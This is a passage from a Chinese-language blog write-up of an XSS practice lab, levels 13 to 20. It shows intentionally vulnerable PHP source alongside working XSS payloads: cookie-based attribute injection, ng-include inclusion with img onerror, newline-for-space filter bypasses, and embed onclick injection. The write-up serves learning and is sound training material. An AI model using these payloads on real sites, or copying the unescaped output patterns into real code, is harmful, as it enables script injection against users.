<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/html/level13.php:1) in <b>/var/www/html/level13.php</b> on line <b>16</b><br />
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
```

看样子是无法解析报头

开源码看看:

```php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

e,是cookie吗
那在cookie注入即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /level13.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: user='%22%20onfocus%3d%22alert(1)%22%20type%3d%22text%22%20%22

level 14

这关加载了一个奇怪的图片?

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

看看源码吧:

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

???
查了一下,网站是一个exif查看器用来查看图片信息的

那思考一下,竟然都是在我的前端上解析的,那我改host是不是能指向我想指向的ip?

和ai探讨了一下,在比赛中一般是有bot来当做用户来访问触发我的xss,而我是不能修改他们的host的

所以另一个方向是上传一张会返回xss的图片?

问题是在我的环境上无法打开网站,提示:

Please turn off your ad blocker.

要我关掉我的广告拦截器?

关了edge的一个相关功能,还是打不开。

上网找wp吧。参考文章

网站会解析图片的exif信息,然后返回到前端,在图片的exif里插入xss即可完成攻击

level 15

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

只发现可src一个传入点,给ai看了一下,好像要有中间件绕过?

上网看wp:

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

竟然能直接包含第一关?

1
所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload

所以就是攻击包含的代码来达到攻击的效果吗?

1
?src='/level1.php?name=<img src="fff" onerror=alert()>'

通关
源wp是下面的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
```

## level 16

依旧偷看源码:
```php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

这都过滤了啥?

1
2
3
script
空格
/ (可以用来代替空格)

php的空格绕过是经典必考了,上网一查就有,
payload:

1
<img%0asrc="fff"%0aonerror=alert()>

level 17

开题就显示插件不支持。。。。
前端html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

还是看看源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

依旧看(wp)[https://blog.csdn.net/l2872253606/article/details/125638898#:~:text=%E7%9B%AE%E5%BD%95level%201level%202level]

大概是考了embad区域?

选择了改一下源码。。。
变成了:

1
echo "<embed src=indce.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

尝试了:

1
?arg01=onclick&arg02=alert(1)

不行,注意到写法里的引号
然而正确的payload为:

1
?arg02= onclick=alert()

少了个空格也不行

当为arg01时:

1
<embed src=index.png? onclick=alert(1)= width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

当为 ?arg01=onclick&arg02=alert(1) 时:

1
<embed src=index.png?onclick=alert(1) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

所以说只有当 ?arg02= onclick=alert() 才能构成:

1
<embed src=index.png?= onclick=alert() width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

这时的 onclick=alert() 才是生效的

level 18

也是和上题一样改了一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=index.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

没看出来有啥区别,同一个payload过了:

1
?arg02= onclick=alert()

level 19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="index.png?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

需要绕过引号

看了网上wp,需要用flash的漏洞,现在网站很多都不用flash了

level 20

还是考flash。。。

算了,放过我自己吧,,,


note-01
https://aidemofashi.github.io/2025/02/26/notepad/
作者
aidemofashi
发布于
2025年2月26日
许可协议